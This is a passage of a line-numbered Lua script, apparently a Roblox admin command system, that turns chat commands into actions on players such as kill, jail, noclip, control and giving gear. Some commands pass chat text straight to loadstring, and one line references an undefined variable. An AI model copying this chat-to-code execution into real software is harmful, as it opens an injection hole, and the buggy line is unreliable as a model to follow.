  422. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  423. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  424. else loadstring(msg:sub(3))()
  425. end
  426. end))
  427. end
  428.  
  429. if msg:lower():sub(1,3) == "ls " then
  430. coroutine.resume(coroutine.create(function()
  431. if script:findFirstChild("LocalScriptBase") then
  432. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  433. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  434. end
  435. end))
  436. end
  437.  
  438. if msg:lower():sub(1,6) == "lsplr " then
  439. local chk1 = msg:lower():sub(7):find(" ") + 6
  440. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  441. for i, v in pairs(plrz) do
  442. coroutine.resume(coroutine.create(function()
  443. if v and v:findFirstChild("PlayerGui") then
  444. if script:findFirstChild("LocalScriptBase") then
  445. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  446. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  447. end
  448. end
  449. end))
  450. end
  451. end
  452.  
  453. if msg:lower():sub(1,4) == "ins " then
  454. coroutine.resume(coroutine.create(function()
  455. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  456. if obj and #obj:children() >= 1 and plr.Character then
  457. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  458. end
  459. end))
  460. end
  461.  
  462. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  463. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  464. RemoveMessage()
  465. objects = {}
  466. end
  467.  
  468. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  469. game.Lighting.Ambient = origsettings.abt
  470. game.Lighting.Brightness = origsettings.brt
  471. game.Lighting.TimeOfDay = origsettings.time
  472. game.Lighting.FogColor = origsettings.fclr
  473. game.Lighting.FogEnd = origsettings.fe
  474. game.Lighting.FogStart = origsettings.fs
  475. for i, v in pairs(lobjs) do v:Destroy() end
  476. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  477. end
  478.  
  479. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  480. coroutine.resume(coroutine.create(function()
  481. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  482. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  483. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  484. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  485. end))
  486. end
  487.  
  488. if msg:lower():sub(1,10) == "countdown " then
  489. local num = math.min(tonumber(msg:sub(11)),120)
  490. for i = num, 1, -1 do
  491. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  492. wait(1)
  493. end
  494. end
  495.  
  496. if msg:lower():sub(1,3) == "tm " then
  497. local chk1 = msg:lower():sub(4):find(" ") + 3
  498. local num = tonumber(msg:sub(4,chk1-1))
  499. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  500. end
  501.  
  502. if msg:lower():sub(1,2) == "m " then
  503. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  504. end
  505.  
  506. if msg:lower():sub(1,2) == "h " then
  507. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  508. end
  509.  
  510. if msg:lower():sub(1,3) == "pm " then
  511. local chk1 = msg:lower():sub(4):find(" ") + 3
  512. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  513. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  514. end
  515.  
  516. if msg:lower():sub(1,11) == "resetstats " then
  517. local plrz = GetPlr(plr, msg:lower():sub(12))
  518. for i, v in pairs(plrz) do
  519. coroutine.resume(coroutine.create(function()
  520. if v and v:findFirstChild("leaderstats") then
  521. for a, q in pairs(v.leaderstats:children()) do
  522. if q:IsA("IntValue") then q.Value = 0 end
  523. end
  524. end
  525. end))
  526. end
  527. end
  528.  
  529. if msg:lower():sub(1,5) == "gear " then
  530. local chk1 = msg:lower():sub(6):find(" ") + 5
  531. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  532. for i, v in pairs(plrz) do
  533. coroutine.resume(coroutine.create(function()
  534. if v and v:findFirstChild("Backpack") then
  535. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  536. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  537. obj:Destroy()
  538. end
  539. end))
  540. end
  541. end
  542.  
  543. if msg:lower():sub(1,4) == "hat " then
  544. local chk1 = msg:lower():sub(5):find(" ") + 4
  545. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  546. for i, v in pairs(plrz) do
  547. coroutine.resume(coroutine.create(function()
  548. if v and v.Character then
  549. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  550. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  551. obj:Destroy()
  552. end
  553. end))
  554. end
  555. end
  556.  
  557. if msg:lower():sub(1,5) == "cape " then
  558. local chk1 = msg:lower():sub(6):find(" ")
  559. local plrz = GetPlr(plr, msg:lower():sub(6))
  560. local str = "torso.BrickColor"
  561. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  562. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  563. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  564. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  565. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  566. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  567. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  568. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  569. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  570. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  571. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  572. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  573. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  574. if BrickColor.new(teststr) ~= nil then str = teststr end
  575. end
  576. for i, v in pairs(plrz) do
  577. coroutine.resume(coroutine.create(function()
  578. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  579. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  580. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  581. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  582. local torso = plr.Character.Torso
  583. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  584. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  585. p.Size = Vector3.new(.2,.2,.2)
  586. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  587. local motor1 = Instance.new("Motor", p)
  588. motor1.Part0 = p
  589. motor1.Part1 = torso
  590. motor1.MaxVelocity = .01
  591. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  592. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  593. local wave = false
  594. repeat wait(1/44)
  595. local ang = 0.1
  596. local oldmag = torso.Velocity.magnitude
  597. local mv = .002
  598. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  599. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  600. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  601. motor1.DesiredAngle = -ang
  602. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  603. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  604. if torso.Velocity.magnitude < .1 then wait(.1) end
  605. until not p or p.Parent ~= torso.Parent
  606. script:Destroy()
  607. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  608. end
  609. end))
  610. end
  611. end
  612.  
  613. if msg:lower():sub(1,7) == "uncape " then
  614. local plrz = GetPlr(plr, msg:lower():sub(8))
  615. for i, v in pairs(plrz) do
  616. coroutine.resume(coroutine.create(function()
  617. if v and v:findFirstChild("PlayerGui") and v.Character then
  618. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  619. end
  620. end))
  621. end
  622. end
  623.  
  624. if msg:lower():sub(1,7) == "noclip " then
  625. local plrz = GetPlr(plr, msg:lower():sub(8))
  626. for i, v in pairs(plrz) do
  627. coroutine.resume(coroutine.create(function()
  628. if v and v:findFirstChild("PlayerGui") then
  629. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  630. cl.Parent = v.PlayerGui cl.Disabled = false
  631. end
  632. end))
  633. end
  634. end
  635.  
  636. if msg:lower():sub(1,5) == "clip " then
  637. local plrz = GetPlr(plr, msg:lower():sub(6))
  638. for i, v in pairs(plrz) do
  639. coroutine.resume(coroutine.create(function()
  640. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  641. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  642. v.Character.Torso.Anchored = false
  643. wait(.1) v.Character.Humanoid.PlatformStand = false
  644. end
  645. end))
  646. end
  647. end
  648.  
  649. if msg:lower():sub(1,5) == "jail " then
  650. local plrz = GetPlr(plr, msg:lower():sub(6))
  651. for i, v in pairs(plrz) do
  652. coroutine.resume(coroutine.create(function()
  653. if v and v.Character and v.Character:findFirstChild("Torso") then
  654. local vname = v.Name
  655. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  656. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  657. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  658. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  659. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  660. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  661. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  662. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  663. end)
  664. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  665. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  666. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  667. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  668. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  669. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  670. local msh2 = msh:Clone() msh2.Parent = back
  671. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  672. local msh4 = msh3:Clone() msh4.Parent = left
  673. v.Character.Torso.CFrame = cf
  674. end
  675. end))
  676. end
  677. end
  678.  
  679. if msg:lower():sub(1,7) == "unjail " then
  680. local plrz = GetPlr(plr, msg:lower():sub(8))
  681. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  682. end
  683.  
  684. if msg:lower():sub(1,11) == "starttools " then
  685. local plrz = GetPlr(plr, msg:lower():sub(12))
  686. for i, v in pairs(plrz) do
  687. coroutine.resume(coroutine.create(function()
  688. if v and v:findFirstChild("Backpack") then
  689. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  690. end
  691. end))
  692. end
  693. end
  694.  
  695. if msg:lower():sub(1,6) == "sword " then
  696. local plrz = GetPlr(plr, msg:lower():sub(7))
  697. for i, v in pairs(plrz) do
  698. coroutine.resume(coroutine.create(function()
  699. if v and v:findFirstChild("Backpack") then
  700. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  701. sword.GripForward = Vector3.new(-1,0,0)
  702. sword.GripPos = Vector3.new(0,0,-1.5)
  703. sword.GripRight = Vector3.new(0,1,0)
  704. sword.GripUp = Vector3.new(0,0,1)
  705. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  706. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  707. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  708. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  709. local Damage = 15
  710. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  711. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  712. SlashSound.Volume = 1
  713. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  714. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  715. LungeSound.Volume = 1
  716. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  717. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  718. UnsheathSound.Volume = 1
  719. local last = 0
  720. script.Parent.Handle.Touched:connect(function(hit)
  721. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  722. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  723. hit.Parent.Humanoid:TakeDamage(Damage)
  724. end
  725. end)
  726. script.Parent.Activated:connect(function()
  727. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  728. script.Parent.Enabled = false
  729. local tick = game:service("RunService").Stepped:wait()
  730. if tick - last <= .2 then
  731. LungeSound:play()
  732. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  733. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  734. wait(.2)
  735. script.Parent.GripForward = Vector3.new(0,0,1)
  736. script.Parent.GripRight = Vector3.new(0,-1,0)
  737. script.Parent.GripUp = Vector3.new(-1,0,0)
  738. wait(.3)
  739. frc:Destroy() wait(.5)
  740. script.Parent.GripForward = Vector3.new(-1,0,0)
  741. script.Parent.GripRight = Vector3.new(0,1,0)
  742. script.Parent.GripUp = Vector3.new(0,0,1)
  743. else
  744. SlashSound:play()
  745. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  746. end
  747. last = tick
  748. script.Parent.Enabled = true
  749. end)
  750. script.Parent.Equipped:connect(function(mouse)
  751. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  752. UnsheathSound:play()
  753. script.Parent.Enabled = true
  754. if not mouse then return end
  755. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  756. end)]] cl.Disabled = false
  757. end
  758. end))
  759. end
  760. end
  761.  
  762. if msg:lower():sub(1,6) == "clone " then
  763. local plrz = GetPlr(plr, msg:lower():sub(7))
  764. for i, v in pairs(plrz) do
  765. coroutine.resume(coroutine.create(function()
  766. if v and v.Character then
  767. v.Character.Archivable = true
  768. local cl = v.Character:Clone()
  769. table.insert(objects,cl)
  770. cl.Parent = game.Workspace
  771. cl:MoveTo(v.Character:GetModelCFrame().p)
  772. cl:MakeJoints()
  773. v.Character.Archivable = false
  774. end
  775. end))
  776. end
  777. end
  778.  
  779. if msg:lower():sub(1,8) == "control " then
  780. local plrz = GetPlr(plr, msg:lower():sub(9))
  781. for i, v in pairs(plrz) do
  782. coroutine.resume(coroutine.create(function()
  783. if v and v.Character then
  784. v.Character.Humanoid.PlatformStand = true
  785. local w = Instance.new("Weld", plr.Character.Torso )
  786. w.Part0 = plr.Character.Torso
  787. w.Part1 = v.Character.Torso
  788. local w2 = Instance.new("Weld", plr.Character.Head)
  789. w2.Part0 = plr.Character.Head
  790. w2.Part1 = v.Character.Head
  791. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  792. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  793. w3.Part1 = v.Character:findFirstChild("Right Arm")
  794. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  795. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  796. w4.Part1 = v.Character:findFirstChild("Left Arm")
  797. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  798. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  799. w5.Part1 = v.Character:findFirstChild("Right Leg")
  800. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  801. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  802. w6.Part1 = v.Character:findFirstChild("Left Leg")
  803. plr.Character.Head.face:Destroy()
  804. for i, p in pairs(v.Character:children()) do
  805. if p:IsA("BasePart") then
  806. p.CanCollide = false
  807. end
  808. end
  809. for i, p in pairs(plr.Character:children()) do
  810. if p:IsA("BasePart") then
  811. p.Transparency = 1
  812. elseif p:IsA("Hat") then
  813. p:Destroy()
  814. end
  815. end
  816. v.Character.Parent = plr.Character
  817. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  818. end
  819. end))
  820. end
  821. end
  822.  
  823. if msg:lower():sub(1,5) == "kill " then
  824. local plrz = GetPlr(plr, msg:lower():sub(6))
  825. for i, v in pairs(plrz) do
  826. coroutine.resume(coroutine.create(function()
  827. if v and v.Character then v.Character:BreakJoints() end
  828. end))
  829. end
  830. end
  831.  
  832. if msg:lower():sub(1,8) == "respawn " then
  833. local plrz = GetPlr(plr, msg:lower():sub(9))
  834. for i, v in pairs(plrz) do
  835. coroutine.resume(coroutine.create(function()
  836. if v and v.Character then v:LoadCharacter() end
  837. end))
  838. end
  839. end
  840.  
  841. if msg:lower():sub(1,5) == "trip " then
  842. local plrz = GetPlr(plr, msg:lower():sub(6))
  843. for i, v in pairs(plrz) do
  844. coroutine.resume(coroutine.create(function()
  845. if v and v.Character and v.Character:findFirstChild("Torso") then
  846. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  847. end
  848. end))
  849. end
  850. end
  851.  
  852. if msg:lower():sub(1,5) == "stun " then
  853. local plrz = GetPlr(plr, msg:lower():sub(6))
  854. for i, v in pairs(plrz) do
  855. coroutine.resume(coroutine.create(function()
  856. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  857. v.Character.Humanoid.PlatformStand = true
  858. end
  859. end))
  860. end
  861. end
  862.  
  863. if msg:lower():sub(1,7) == "unstun " then
  864. local plrz = GetPlr(plr, msg:lower():sub(8))
  865. for i, v in pairs(plrz) do
  866. coroutine.resume(coroutine.create(function()
  867. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  868. v.Character.Humanoid.PlatformStand = false
  869. end
  870. end))
  871. end
  872. end
  873.  
  874. if msg:lower():sub(1,5) == "jump " then
  875. local plrz = GetPlr(plr, msg:lower():sub(6))
  876. for i, v in pairs(plrz) do
  877. coroutine.resume(coroutine.create(function()
  878. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  879. v.Character.Humanoid.Jump = true
  880. end
  881. end))
  882. end
  883. end
  884.  
  885. if msg:lower():sub(1,4) == "sit " then
  886. local plrz = GetPlr(plr, msg:lower():sub(5))
  887. for i, v in pairs(plrz) do
  888. coroutine.resume(coroutine.create(function()
  889. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  890. v.Character.Humanoid.Sit = true
  891. end
  892. end))
  893. end
  894. end
  895.  
  896. if msg:lower():sub(1,10) == "invisible " then
  897. local plrz = GetPlr(plr, msg:lower():sub(11))
  898. for i, v in pairs(plrz) do
  899. coroutine.resume(coroutine.create(function()
  900. if v and v.Character then
  901. for a, obj in pairs(v.Character:children()) do
  902. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  903. end
  904. end
  905. end))
  906. end
  907. end
  908.  
  909. if msg:lower():sub(1,8) == "visible " then
  910. local plrz = GetPlr(plr, msg:lower():sub(9))
  911. for i, v in pairs(plrz) do
  912. coroutine.resume(coroutine.create(function()
  913. if v and v.Character then
  914. for a, obj in pairs(v.Character:children()) do
  915. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  916. end
  917. end
  918. end))
  919. end
  920. end
  921.  
  922. if msg:lower():sub(1,5) == "lock " then
  923. local plrz = GetPlr(plr, msg:lower():sub(6))
  924. for i, v in pairs(plrz) do
  925. coroutine.resume(coroutine.create(function()
  926. if v and v.Character then
  927. for a, obj in pairs(v.Character:children()) do
  928. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  929. end
  930. end
  931. end))
  932. end
  933. end
  934.  
  935. if msg:lower():sub(1,7) == "unlock " then
  936. local plrz = GetPlr(plr, msg:lower():sub(8))
  937. for i, v in pairs(plrz) do
  938. coroutine.resume(coroutine.create(function()
  939. if v and v.Character then
  940. for a, obj in pairs(v.Character:children()) do
  941. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  942. end
  943. end
  944. end))
  945. end
  946. end
  947.  
  948. if msg:lower():sub(1,8) == "explode " then
  949. local plrz = GetPlr(plr, msg:lower():sub(9))
  950. for i, v in pairs(plrz) do
  951. coroutine.resume(coroutine.create(function()
  952. if v and v.Character and v.Character:findFirstChild("Torso") then
  953. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  954. end
  955. end))
  956. end
  957. end
  958.  
  959. if msg:lower():sub(1,4) == "age " then
  960. local plrz = GetPlr(plr, msg:lower():sub(5))
  961. for i, v in pairs(plrz) do
  962. coroutine.resume(coroutine.create(function()
  963. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  964. end))
  965. end
  966. end
  967.  
  968. if msg:lower():sub(1,5) == "fire " then
  969. local plrz = GetPlr(plr, msg:lower():sub(6))
  970. for i, v in pairs(plrz) do
  971. coroutine.resume(coroutine.create(function()
  972. if v and v.Character and v.Character:findFirstChild("Torso") then
  973. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  974. end
  975. end))
  976. end
  977. end
  978.  
  979. if msg:lower():sub(1,7) == "unfire " then
  980. local plrz = GetPlr(plr, msg:lower():sub(8))
  981. for i, v in pairs(plrz) do
  982. coroutine.resume(coroutine.create(function()
  983. if v and v.Character and v.Character:findFirstChild("Torso") then
  984. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  985. end
  986. end))
  987. end
  988. end
  989.  
  990. if msg:lower():sub(1,6) == "smoke " then
  991. local plrz = GetPlr(plr, msg:lower():sub(7))
  992. for i, v in pairs(plrz) do
  993. coroutine.resume(coroutine.create(function()
  994. if v and v.Character and v.Character:findFirstChild("Torso") then
  995. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  996. end
  997. end))
  998. end
  999. end
  1000.  
  1001. if msg:lower():sub(1,8) == "unsmoke " then
  1002. local plrz = GetPlr(plr, msg:lower():sub(9))
  1003. for i, v in pairs(plrz) do
  1004. coroutine.resume(coroutine.create(function()
  1005. if v and v.Character and v.Character:findFirstChild("Torso") then
  1006. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1007. end
  1008. end))
  1009. end
  1010. end
  1011.  
  1012. if msg:lower():sub(1,9) == "sparkles " then
  1013. local plrz = GetPlr(plr, msg:lower():sub(10))
  1014. for i, v in pairs(plrz) do
  1015. coroutine.resume(coroutine.create(function()
  1016. if v and v.Character and v.Character:findFirstChild("Torso") then
  1017. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1018. end
  1019. end))
  1020. end
  1021. end
  1022.  
  1023. if msg:lower():sub(1,11) == "unsparkles " then
  1024. local plrz = GetPlr(plr, msg:lower():sub(12))
  1025. for i, v in pairs(plrz) do
  1026. coroutine.resume(coroutine.create(function()
  1027. if v and v.Character and v.Character:findFirstChild("Torso") then
  1028. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1029. end
  1030. end))
  1031. end
  1032. end
  1033.  
  1034. if msg:lower():sub(1,3) == "ff " then
  1035. local plrz = GetPlr(plr, msg:lower():sub(4))
  1036. for i, v in pairs(plrz) do
  1037. coroutine.resume(coroutine.create(function()
  1038. if v and v.Character then Instance.new("ForceField", v.Character) end
  1039. end))
  1040. end
  1041. end
  1042.  
  1043. if msg:lower():sub(1,5) == "unff " then
  1044. local plrz = GetPlr(plr, msg:lower():sub(6))
  1045. for i, v in pairs(plrz) do
  1046. coroutine.resume(coroutine.create(function()
